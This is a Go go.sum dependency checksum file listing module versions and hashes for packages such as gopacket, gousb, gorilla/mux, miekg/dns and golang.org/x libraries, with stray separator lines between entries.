github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
|
||||
github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3 h1:3RtjTHQgWbD7dsPreVSkA5/LGfNnAZyjOtDXhargyEE=
|
||||
github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
|
||||
github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750 h1:DVKHLo3yE4psTjD9aM2pY7EHoicaQbgmaxxvvHC6ZSM=
|
||||
github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
|
||||
github.com/google/gousb v2.1.0+incompatible h1:ApzMDjF3FeO219QwWybJxYfFhXQzPLOEy0o+w9k5DNI=
|
||||
github.com/google/gousb v2.1.0+incompatible/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/gorilla/mux v1.7.2 h1:zoNxOV7WjqXptQOVngLmcSQgXmgk4NMz1HibBchjl/I=
|
||||
github.com/gorilla/mux v1.7.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
|
||||
github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw=
|
||||
github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
|
||||
github.com/google/gousb v1.1.2 h1:1BwarNB3inFTFhPgUEfah4hwOPuDz/49I0uX8XNginU=
|
||||
github.com/google/gousb v1.1.2/go.mod h1:GGWUkK0gAXDzxhwrzetW592aOmkkqSGcj5KLEgmCVUg=
|
||||
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
|
||||
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||
github.com/gorilla/websocket v1.4.0 h1:WDFjx/TMzVgy9VdMMQi2K2Emtwi2QcUQsztZ/zLaH/Q=
|
||||
github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
|
||||
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
|
||||
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
|
||||
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/hashicorp/mdns v1.0.1 h1:XFSOubp8KWB+Jd2PDyaX5xUd5bhSP/+pTDZVDMzZJM8=
|
||||
github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY=
|
||||
github.com/hashicorp/mdns v1.0.3 h1:hPneYJlzSjxFBmUlnDGXRykxBZ++dQAJhU57gCO7TzI=
|
||||
github.com/hashicorp/mdns v1.0.3/go.mod h1:P9sIDVQGUBr2GtS4qS2QCBdtgqP7TBt6d8looU5l5r4=
|
||||
github.com/hashicorp/mdns v1.0.4 h1:sY0CMhFmjIPDMlTB+HfymFHCaYLhgifZ0QhjaYKD/UQ=
|
||||
github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=
|
||||
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
|
||||
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
|
||||
github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383 h1:/ODEnccTd4m/1YbCDCZBIoo+W1BC+PjOzvfX8y++b5s=
|
||||
github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383/go.mod h1:7H/4k+TVAFSXCq+KcvelJ5hClsXnabjF52BLYqgaqcQ=
|
||||
github.com/jpillora/go-tld v1.0.0 h1:W0Wz3fYT9WCDNJXcXc58uV7sriLnVeELeOU5MP5X42M=
|
||||
github.com/jpillora/go-tld v1.0.0/go.mod h1:kitBxOF//DR5FxYeIGw+etdiiTIq5S7bx0dwy1GUNAk=
|
||||
github.com/jpillora/go-tld v1.1.1 h1:P1ZwtKDHBYYUl235R/D64cdBARfGYzEy1Hg2Ikir3FQ=
|
||||
github.com/jpillora/go-tld v1.1.1/go.mod h1:kitBxOF//DR5FxYeIGw+etdiiTIq5S7bx0dwy1GUNAk=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/koppacetic/go-gpsd v0.4.0 h1:/T3cRvi1ZsWbxCZPB9pPor0HjIw3HuD+MSvaxV5QqQ8=
|
||||
github.com/koppacetic/go-gpsd v0.4.0/go.mod h1:mhcLuh9X++WHepbL3jEmEwnx1OkQDepZMihv12RO4qk=
|
||||
github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo=
|
||||
github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM=
|
||||
github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/malfunkt/iprange v0.9.0 h1:VCs0PKLUPotNVQTpVNszsut4lP7OCGNBwX+lOYBrnVQ=
|
||||
github.com/malfunkt/iprange v0.9.0/go.mod h1:TRGqO/f95gh3LOndUGTL46+W0GXA91WTqyZ0Quwvt4U=
|
||||
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.7 h1:bQGKb3vps/j0E9GfJQ03JyhRuxsvdAanXlT9BTw3mdw=
|
||||
github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
|
||||
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
|
||||
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
|
||||
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY=
|
||||
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8=
|
||||
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/miekg/dns v1.1.14 h1:wkQWn9wIp4mZbwW8XV6Km6owkvRPbOiV004ZM2CkGvA=
|
||||
github.com/miekg/dns v1.1.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/miekg/dns v1.1.22 h1:Jm64b3bO9kP43ddLjL2EY3Io6bmy1qGb9Xxz6TqS6rc=
|
||||
github.com/miekg/dns v1.1.22/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
|
||||
github.com/miekg/dns v1.1.27/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.31 h1:sJFOl9BgwbYAWOGEwr61FU28pqsBNdpRBnhGXtO06Oo=
|
||||
github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.41 h1:WMszZWJG0XmzbK9FEmzH2TVcqYzFesusSIB41b8KHxY=
|
||||
github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
|
||||
github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
|
||||
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
|
||||
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d h1:1VUlQbCfkoSGv7qP7Y+ro3ap1P1pPZxgdGVqiTVy5C4=
|
||||
github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
|
||||
github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac h1:kYPjbEN6YPYWWHI6ky1J813KzIq/8+Wg4TO4xU7A/KU=
|
||||
github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
|
||||
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452 h1:ewTtJ72GFy2e0e8uyiDwMG3pKCS5mBh+hdSTYsPKEP8=
|
||||
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
|
||||
github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU=
|
||||
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
|
||||
github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb h1:EavwSqheIJl3nb91HhkL73DwnT2Fk8W3yM7T7TuLZvA=
|
||||
github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb/go.mod h1:I0ZT9x8wStY6VOxtNOrLpnDURFs7HS0z1e1vhuKUEVc=
|
||||
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64 h1:l/T7dYuJEQZOwVOpjIXr1180aM9PZL/d1MnMVIxefX4=
|
||||
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64/go.mod h1:Q1NAJOuRdQCqN/VIWdnaaEhV8LpeO2rtlBP7/iDJNII=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4 h1:ydJNl0ENAG67pFbB+9tfhiL2pYqLhfoaZFw/cjLhY4A=
|
||||
golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550 h1:ObdrDkeb4kJdCP557AjRjq69pTHfNouLtWZG7j9rPN8=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a h1:vclmkQCjlDX5OydZ9wv8rBCcS0QyQY66Mpf/7BZbInM=
|
||||
golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
|
||||
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582 h1:p9xBe/w/OzkeYVKm234g55gMdD1nSIooTir5kV11kfA=
|
||||
golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200925080053-05aa5d4ee321 h1:lleNcKRbcaC8MqgLwghIkzZ2JBQAb7QQ9MiwRt1BisA=
|
||||
golang.org/x/net v0.0.0-20200925080053-05aa5d4ee321/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEhagSSnXWGV915qUMm9mrU=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d h1:LO7XpTYMwTqxjLcGWPijK3vRXg1aWdlNOVOHRq45d7c=
|
||||
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb h1:fgwFCsaw9buMuxNd6+DQfAuSFqbNiQZpcgJQAgJsK6k=
|
||||
golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191018095205-727590c5006e h1:ZtoklVMHQy6BFRHkbG6JzK+S6rX82//Yeok1vMlizfQ=
|
||||
golang.org/x/sys v0.0.0-20191018095205-727590c5006e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d h1:L/IKR6COd7ubZrs2oTnTi73IhgqJ71c9s80WsQnh0Es=
|
||||
golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46 h1:V066+OYJ66oTjnhm4Yrn7SXIwSCiDQJxpBxmvqb1N1c=
|
||||
golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4 h1:EZ2mChiOa8udjfp6rRmswTbtZN/QzUQp4ptM4rnjHvc=
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 h1:F5Gozwx4I1xtr/sr/8CFbb57iKi3297KFs0QDbGN60A=
|
||||
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 h1:rw6UNGRMfarCepjI8qOepea/SXwIBVfTKjztZ5gBbq4=
|
||||
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
|
||||
